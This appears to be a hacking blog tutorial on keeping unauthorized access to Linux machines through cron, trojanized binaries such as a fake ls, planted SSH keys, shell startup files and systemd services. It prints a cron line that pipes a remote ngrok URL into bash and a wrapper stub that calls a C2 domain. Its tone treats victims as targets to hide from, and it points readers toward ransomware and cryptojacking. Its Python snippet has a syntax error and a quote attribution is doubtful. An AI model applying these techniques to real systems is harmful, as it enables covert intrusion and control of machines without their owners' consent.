So you break into a system! You feel the rush and start doing sneaky things. But think about it… How cool would it be if you could keep this machine hacked? Then, you could hop back on when you want. Maybe you hacked an internal machine via an SSRF port scan and want to keep your access. The ability to access a machine again and again in the future is called persistence. As a pentester, this is crucial. You can hack a machine one day, and then continue from where you left off the next day. Even if the machine is restarted, you can regain access. Or if the user finds your malware and deletes it, it will reinstall itself shortly. Really, it’s a cool power and is very easy to attain. Thus, in this article, we’ll show you some tricks for having persistence on Linux, every hacker’s favorite OS.
Show me the code
Okay, so now we know why hackers want access to persist. It’s a big deal. Then how can we make it happen? Like, specifics? Well, the ways this can be done are infinite. Nevertheless, some ways are simpler than others. Let’s look at the top ways that you can easily use in your own audits. Some of these are even legit ways to maintain persistence outside of pentests. At times, it’s just convenient to have easy access to a machine!
Check it out…
Cron jobs
How do you run something on Linux, over and over and…well, you get the point. Let me quote a dev who has contributed hundreds of lines of source code to cron on GitHub:
Cron is a utility that runs in the background running certain commands at regular intervals. You (the user) define what commands and what intervals in a file called the crontab
Joe Ossanna
You’ll want to create a script that either opens up a reverse shell, giving you direct access, or connects to a command and control server from which code can be run on the victim.
There is one drawback – cron has a really hard syntax for newbies to learn. Thus, I suggest you check out a tool that helps you create crontab entries, like https://crontab.guru. To prove this, let me show you a real crontab from my own machine:
crontab -l
*/5 * * * * curl "https://78d5-190-14-134-185.ngrok.io/api/ping/eliana@iphone-2.local" | bash
Yeah, not the easiest to read. However, also be aware that this is a common place to hide malware for exactly this purpose (ie, persistence). So if you hide something here that the user notices, they’ll likely come looking in the crontab sooner or later.
Swapping system binaries
Do you like to code? If so, this is the hack you want to use to persist on Linux systems! Just pick a binary file, like let’s say, the ls command. Change it to something like this:
#!/usr/bin/python3
import sys
import subprocess
# Get the arguments passed to the command so we can make sure
# the ls program runs as expected
ls_cmd = ['ls', *sys.argv]
proc = subprocess.run(ls_cmd, capture_output=True)
output = proc.stdout.decode('utf8'))
print(output)
# Now that we've done what the user expects, we'll also do our sneakier stuff...
def run_c2_cmd(server='evil-domain.lovvirnuaz.su/cmd'):
...
We allow the command to run normally, but also sneak in our own evil virus code that allows us to maintain persistence on Linux long after we hacked it the first time.
Install your SSH keys
If a machine is running an SSH server, persisting is as easy as pasting some text into a file. Just grab your SSH public keys from the file .ssh/id_rsa.pub in your home folder, then paste it into .ssh/authorized_keys.
Then you can SSH into the machine whenever you want without providing a password. Why does this work? Because the authorized_keys file tells SSH to allow SSH login with no password. However, the login only works if the user’s key appears inside of that file! So by getting your key in there, you have unlimited SSH access to the machine.
The downside of this approach is that many machines won’t have a public SSH server you can access from the global internet.
Shell Startup Scripts
You see this a lot in Capture The Flag (CTF) style games that involve persistence on Linux. Because whenever you open a shell like Bash on Linux, it runs a few different programs, like .bash_rc, /etc/profile, and the message of the day. You can even change the shell in a user’s /etc/shadow line to run a malicious shell that you control.
All of these files are actually shell programs that run complete code. So if you open up a user’s .bashrc, you can put in an evil Bash function that does your evil stuff. As a bonus, this also works on MacOS. Here’s the .bashrc file from my MacOS laptop by default:
# System-wide .bashrc file for interactive bash(1) shells.
if [ -z "$PS1" ]; then
return
fi
PS1='\h:\W \u\$ '
# Make bash check its window size after a process completes
shopt -s checkwinsize
[ -r "/etc/bashrc_$TERM_PROGRAM" ] && . "/etc/bashrc_$TERM_PROGRAM"
With such dense code, do you really think a victim will have an easy time finding your hack? No way. Yet many Linux users make things better (for you, not for their own security) by heavily customizing these files. Hundreds of lines of dense Bash code make your code nigh impossible to uncover. Even the best reverse engineers will have a hard time finding your humble malware.
Systemd
This is the “obvious” way of making malware persist. Systemd allows you to run a script when the system starts up. Basically, Systemd is the daemon that gets Linux up and running. You need two parts, your actual script, as well as the .service script located in the /etc/systemd/system folder. The syntax for the service file looks like this:
[Unit]
Description=Example malware
After=network.target
StartLimitIntervalSec=0
[Service]
Type=simple
Restart=always
RestartSec=1
User=centos
ExecStart=/usr/bin/python3 /root/yourEvilScript.py
[Install]
WantedBy=multi-user.target
For full instructions on creating a Systemd service, check out Benjamin Morel’s excellent article on the topic, Creating a Linux service with systemd
After you have persistence on Linux
With the skills above, you should have no problem persisting on any Linux system you run into. Still, you may wonder, what next? Well then, you’re in luck! Indeed, there’s a ton of cool info about how to use persistence to your benefit. Thus, check out these Hacking Loops articles on how to exploit a system you already have full, persistence access to:
- Make money with cryptojacking
- Link up with a command and control server
- Lock up the system with a ransomware attack
- Add the machine to a botnet
- Write a custom malware with Rust
For creative types, post-exploitation really is the most fun part. You can get creative and code up whatever crazy scheme you want. So have fun. Also, happy hacking!
Leave a Reply